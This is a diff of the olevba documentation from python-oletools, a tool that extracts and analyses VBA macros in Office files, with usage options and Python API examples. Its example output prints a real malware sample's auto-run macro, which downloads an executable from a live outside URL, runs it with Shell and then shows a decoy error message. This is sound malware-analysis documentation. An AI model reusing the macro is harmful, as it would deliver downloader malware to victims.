@@ -2,74 +2,266 @@ olevba
 ======
 olevba is a script to parse OLE and OpenXML files such as MS Office documents
-(e.g. Word, Excel), to extract VBA Macro code in clear text.
+(e.g. Word, Excel), to **detect VBA Macros**, extract their **source code** in clear text, 
+and detect security-related patterns such as **auto-executable macros**, **suspicious
+VBA keywords** used by malware, and potential **IOCs** (IP addresses, URLs, executable
+filenames, etc).
+
+It can be used either as a command-line tool, or as a python module from your own applications.
 It is part of the [python-oletools](http://www.decalage.info/python/oletools) package.
-Supported formats:
+olevba is based on source code from [officeparser](https://github.com/unixfreak0037/officeparser) 
+by John William Davison, with significant modifications.
+
+## Supported formats
 - Word 97-2003 (.doc, .dot), Word 2007+ (.docm, .dotm)
 - Excel 97-2003 (.xls), Excel 2007+ (.xlsm, .xlsb)
 - PowerPoint 2007+ (.pptm, .ppsm)
-olevba is based on source code from [officeparser](https://github.com/unixfreak0037/officeparser) by John William Davison
+## Main Features
+
+- Detect VBA macros in MS Office 97-2003 and 2007+ files
+- Extract VBA macro source code
+- Detect auto-executable macros
+- Detect suspicious VBA keywords often used by malware
+- Extract IOCs/patterns of interest such as IP addresses, URLs, e-mail addresses and executable file names
+- Scan multiple files and sample collections (wildcards, recursive)
+- Scan malware samples in password-protected Zip archives
+- Python API to use olevba from your applications
+
+MS Office files encrypted with a password are also supported, because VBA macro code is never
+encrypted, only the content of the document.
+
+## About VBA Macros
+
+See [this article](http://www.decalage.info/en/vba_tools) for more information and technical details about VBA Macros
+and how they are stored in MS Office documents.
 ## Usage
 	:::text
-	olevba.py <file>
-
+    Usage: olevba.py [options] <filename> [filename2 ...]
+    
+    Options:
+      -h, --help            show this help message and exit
+      -r                    find files recursively in subdirectories.
+      -z ZIP_PASSWORD, --zip=ZIP_PASSWORD
+                            if the file is a zip archive, open first file from it,
+                            using the provided password (requires Python 2.6+)
+      -f ZIP_FNAME, --zipfname=ZIP_FNAME
+                            if the file is a zip archive, file(s) to be opened
+                            within the zip. Wildcards * and ? are supported.
+                            (default:*)
+                            
 ### Example
 Checking the malware sample [DIAN_caso-5415.doc](https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/):
 	:::text
-	>olevba.py DIAN_caso-5415.doc
-
-	INFO: Extracting VBA Macros from OLE file DIAN_caso-5415.doc
-	
-	-------------------------------------------------------------------------------
-	ThisDocument.cls
-	
-	Attribute VB_Name = "ThisDocument"
-	Attribute VB_Base = "1Normal.ThisDocument"
-	Attribute VB_GlobalNameSpace = False
-	Attribute VB_Creatable = False
-	Attribute VB_PredeclaredId = True
-	Attribute VB_Exposed = True
-	Attribute VB_TemplateDerived = True
-	Attribute VB_Customizable = True
-	Option Explicit
-	Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long,	_
-	ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _
-	ByVal HQTLDG As Long) As Long
-	Sub AutoOpen()
-	    Auto_Open
-	End Sub
-	Sub Auto_Open()
-	SNVJYQ
-	End Sub
-	Public Sub SNVJYQ()
-	    OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero.exe"
-	End Sub
-	Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean
-	    Dim HRKUYU, lala As Long
-	    HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0)
-	    If HRKUYU = 0 Then OGEXYR = True
-	    Dim YKPZZS
-	    YKPZZS = Shell(PHHWIV, 1)
-	    MsgBox "El contenido de este documento no es compatible con este equipo." &	vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no compatible"
-	    lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Environ("TMP") & "\lkjljlljk", 0, 0)
-	    Application.DisplayAlerts = False
-	    Application.Quit
-	End Function
-	Sub Workbook_Open()
-	    Auto_Open
-	End Sub
+    >olevba.py c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip -z infected
+    ===============================================================================
+    FILE: DIAN_caso-5415.doc.malware in c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip
+    Type: OLE
+    -------------------------------------------------------------------------------
+    VBA MACRO ThisDocument.cls
+    in file: DIAN_caso-5415.doc.malware - OLE stream: Macros/VBA/ThisDocument
+    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+    Option Explicit
+    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long,_
+    ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _
+    ByVal HQTLDG As Long) As Long
+    Sub AutoOpen()
+        Auto_Open
+    End Sub
+    Sub Auto_Open()
+    SNVJYQ
+    End Sub
+    Public Sub SNVJYQ()
+        OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero.
+    exe"
+    End Sub
+    Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean
+        Dim HRKUYU, lala As Long
+        HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0)
+        If HRKUYU = 0 Then OGEXYR = True
+        Dim YKPZZS
+        YKPZZS = Shell(PHHWIV, 1)
+        MsgBox "El contenido de este documento no es compatible con este equipo." &
+    vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no
+     compatible"
+        lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Envi
+    ron("TMP") & "\lkjljlljk", 0, 0)
+        Application.DisplayAlerts = False
+        Application.Quit
+    End Function
+    Sub Workbook_Open()
+        Auto_Open
+    End Sub
+    
+    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+    ANALYSIS:
+    +------------+----------------------+-----------------------------------------+
+    | Type       | Keyword              | Description                             |
+    +------------+----------------------+-----------------------------------------+
+    | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
+    | AutoExec   | Auto_Open            | Runs when the Excel Workbook is opened  |
+    | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
+    | Suspicious | Lib                  | May run code from a DLL                 |
+    | Suspicious | Shell                | May run an executable file or a system  |
+    |            |                      | command                                 |
+    | Suspicious | Environ              | May read system environment variables   |
+    | Suspicious | URLDownloadToFileA   | May download files from the Internet    |
+    | IOC        | http://germanya.com. | URL                                     |
+    |            | ec/logs/test.exe"    |                                         |
+    | IOC        | http://germanya.com. | URL                                     |
+    |            | ec/logs/counter.php" |                                         |
+    | IOC        | germanya.com         | Executable file name                    |
+    | IOC        | test.exe             | Executable file name                    |
+    | IOC        | sfjozjero.exe        | Executable file name                    |
+    +------------+----------------------+-----------------------------------------+
 ## How to use olevba in Python applications	
-TODO
+olevba may be used to open a MS Office file, detect if it contains VBA macros, extract and analyze the VBA source code 
+from your own python applications.
+
+### Import olevba
+
+First, import the **oletools.olevba** package, using at least the VBA_Parser class:
+
+    :::python
+    from oletools.olevba import VBA_Parser
+    
+### Parse a MS Office file 
+
+Create an instance of the **VBA_Parser** class, providing the name of the file to open as parameter.
+The file may also be provided as a bytes string containing its data, or a file-like object. In that case, the actual 
+filename may be provided as a second parameter, if available.
+
+    :::python
+    vba = VBA_Parser('my_file_with_macros.doc')
+    
+VBA_Parser will raise an exception if the file is not a supported format, either OLE (MS Office 97-2003) or OpenXML 
+(MS Office 2007+). 
+
+### Detect VBA macros
+
+The method **detect_vba_macros** returns True if VBA macros have been found in the file, False otherwise.
+
+    :::python
+    if vba.detect_vba_macros():
+        print 'VBA Macros found'
+    else:
+        print 'No VBA Macros found'
+        
+Note: The detection algorithm looks for streams and storage with specific names in the OLE structure, which works fine
+for all the supported formats listed above. However, for some formats such as PowerPoint 97-2003, this method will 
+always return False because VBA Macros are stored in a different way.
+
+Moreover, if the file contains an embedded document (e.g. an Excel workbook inserted into a Word document), this method
+may return True if the embedded document contains VBA Macros, even if the main document does not.
+ 
+### Extract VBA Macro Source Code
+ 
+The method **extract_macros** extracts and decompresses source code for each VBA macro found in the file (possibly 
+including embedded files). It is a generator yielding a tuple (filename, stream_path, vba_filename, vba_code) 
+for each VBA macro found.
+
+- filename: If the file is OLE (MS Office 97-2003), filename is the path of the file.
+    If the file is OpenXML (MS Office 2007+), filename is the path of the OLE subfile containing VBA macros within the zip archive, 
+    e.g. word/vbaProject.bin.
+- stream_path: path of the OLE stream containing the VBA macro source code
+- vba_filename: corresponding VBA filename
+- vba_code: string containing the VBA source code in clear text
+
+Example:
+
+    :::python
+    for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros():
+        print '-'*79
+        print 'Filename    :', filename
+        print 'OLE stream  :', stream_path
+        print 'VBA filename:', vba_filename
+        print '- '*39
+        print vba_code
+    
+### Detect auto-executable macros
+
+The function **detect_autoexec** checks if VBA macro code contains specific macro names
+that will be triggered when the document/workbook is opened, closed, changed, etc.
+
+It returns a list of tuples containing two strings, the detected keyword, and the
+description of the trigger. (See the malware example above)
+
+Sample usage:
+
+    :::python
+    from oletools.olevba import detect_autoexec
+    autoexec_keywords = detect_autoexec(vba_code)
+    if autoexec_keywords:
+        print 'Auto-executable macro keywords found:'
+        for keyword, description in autoexec_keywords:
+            print '%s: %s' % (keyword, description)
+    else:
+        print 'Auto-executable macro keywords: None found'
+
+
+### Detect suspicious VBA keywords
+
+The function **detect_suspicious** checks if VBA macro code contains specific
+keywords often used by malware to act on the system (create files, run
+commands or applications, write to the registry, etc).
+
+It returns a list of tuples containing two strings, the detected keyword, and the
+description of the corresponding malicious behaviour. (See the malware example above)
+
+Sample usage:
+
+    :::python
+    from oletools.olevba import detect_suspicious
+    suspicious_keywords = detect_suspicious(vba_code)
+    if suspicious_keywords:
+        print 'Suspicious VBA keywords found:'
+        for keyword, description in suspicious_keywords:
+            print '%s: %s' % (keyword, description)
+    else:
+        print 'Suspicious VBA keywords: None found'
+
+
+### Extract potential IOCs
+
+The function **detect_patterns** checks if VBA macro code contains specific
+patterns of interest, that may be useful for malware analysis and detection
+(potential Indicators of Compromise): IP addresses, e-mail addresses,
+URLs, executable file names.
+
+It returns a list of tuples containing two strings, the pattern type, and the
+extracted value. (See the malware example above)
+
+Sample usage:
+
+    :::python
+    from oletools.olevba import detect_patterns
+    patterns = detect_patterns(vba_code)
+    if patterns:
+        print 'Patterns found:'
+        for pattern_type, value in patterns:
+            print '%s: %s' % (pattern_type, value)
+    else:
+        print 'Patterns: None found'
+
+
+### Close the VBA_Parser
+
+After usage, it is better to call the **close** method of the VBA_Parser object, to make sure the file is closed, 
+especially if your application is parsing many files.
+
+    :::python
+    vba.close()
+
+        
 --------------------------------------------------------------------------